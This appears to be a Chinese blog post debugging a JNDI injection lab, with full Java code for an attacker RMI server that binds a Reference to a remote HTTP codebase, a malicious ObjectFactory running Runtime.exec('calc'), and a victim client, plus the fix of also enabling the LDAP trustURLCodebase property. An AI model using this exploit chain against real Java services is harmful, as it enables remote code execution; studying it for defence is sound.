JNDI注入 Reference + RMI 打开了rmi.object.trustURLCodebase还是失败

前情提要

服务端(攻击者)

package org.example.rmi;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class ReferenceServer {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        Registry registry = LocateRegistry.createRegistry(1099);
        String allClassName = "Evil";
        String url = "http://192.168.48.131:8000/";
        Reference reference = new Reference(allClassName, allClassName, url);
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("aaa", referenceWrapper);
        System.out.println("rmi服务端开启了");

    }
}

恶意类(class放在192.168.48.131:8000的http服务器上)

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;

public class Evil implements ObjectFactory {
    static {
        System.out.println(2222222);
    }
    /**
     * @param obj  包含可在创建对象时使用的位置或引用信息的对象(可能为 null)。
     * @param name 此对象相对于 ctx 的名称,如果没有指定名称,则该参数为 null。
     * @param ctx  一个上下文,name 参数是相对于该上下文指定的,如果 name 相对于默认初始上下文,则该参数为 null。
     * @param env  创建对象时使用的环境(可能为 null)。
     * @return 对象工厂创建出的对象
     * @throws Exception 对象创建异常
     */
    public Object getObjectInstance(Object obj, Name name, Context ctx, Hashtable<?, ?> env) throws Exception {
        // 在创建对象过程中插入恶意的攻击代码,或者直接创建一个本地命令执行的Process对象从而实现RCE
        System.out.println(1111);
        return Runtime.getRuntime().exec("calc");
    }
}

客户端(被攻击者)

package org.b1ackc4t.se.jndi;

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class JClient {
    public static void main(String[] args) throws NamingException {
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
        InitialContext ctx = new InitialContext();
        Object obj = ctx.lookup("rmi://192.168.48.131:1099/aaa");
        System.out.println(obj);
    }
}

看上去代码没有任何问题,我因为客户端的版本比较高就手动打开了trustURLCodebase,但依旧无法执行恶意代码

解决过程

打开服务端

JNDI注入 Reference + RMI 打开了rmi.object.trustURLCodebase还是失败_第1张图片
客户端在lookup处打下断点(用force step into 否则会直接跳过jdk的代码)

JNDI注入 Reference + RMI 打开了rmi.object.trustURLCodebase还是失败_第2张图片
开始调试客户端代码

JNDI注入 Reference + RMI 打开了rmi.object.trustURLCodebase还是失败_第3张图片
rmi stub的操作在lookup就结束了,到decodeObject开始解析拿到的对象

JNDI注入 Reference + RMI 打开了rmi.object.trustURLCodebase还是失败_第4张图片
明显在判断是否是Reference对象,是的话就针对性处理一波

JNDI注入 Reference + RMI 打开了rmi.object.trustURLCodebase还是失败_第5张图片
判断一下开没开trustURLCodebase,我显然开了,顺利进入getObjectInstance,这个方法听名字就知道是个核心方法

JNDI注入 Reference + RMI 打开了rmi.object.trustURLCodebase还是失败_第6张图片
JNDI注入 Reference + RMI 打开了rmi.object.trustURLCodebase还是失败_第7张图片
走到这里出了个大问题,getObjectFactoryFromReference明显是获取远程工厂类的,结果获取了个null出来,在这打个断点,重新调试一次

JNDI注入 Reference + RMI 打开了rmi.object.trustURLCodebase还是失败_第8张图片
先尝试在本地加载工厂类,找不到再去远程codebase找,我们自然是进入了远程的loadClass

JNDI注入 Reference + RMI 打开了rmi.object.trustURLCodebase还是失败_第9张图片
进来就又判断一次trustURLCodebase,上次不是才判断过了吗?
JNDI注入 Reference + RMI 打开了rmi.object.trustURLCodebase还是失败_第10张图片
不出意外的判断失败了,很怪,我们追一下这个trustURLCodebase变量

JNDI注入 Reference + RMI 打开了rmi.object.trustURLCodebase还是失败_第11张图片
问题明了,判断的是ldap的那个trustURLCodebase,所以我们要把这个也设置为true,问题解决

package org.b1ackc4t.se.jndi;

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class JClient {
    public static void main(String[] args) throws NamingException {
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
        InitialContext ctx = new InitialContext();
        Object obj = ctx.lookup("rmi://192.168.48.131:1099/aaa");
        System.out.println(obj);
    }
}

JNDI注入 Reference + RMI 打开了rmi.object.trustURLCodebase还是失败_第12张图片

总结

LDAP的trustURLCodebase因为带了LDAP,我就以为只有LDAP加载远程工厂才需要打开它,现在看了代码后才知道rmi加载远程工厂同样要打开LDAP的trustURLCodebase,我还是太年轻了

你可能感兴趣的:(web安全,java,jndi注入,rmi)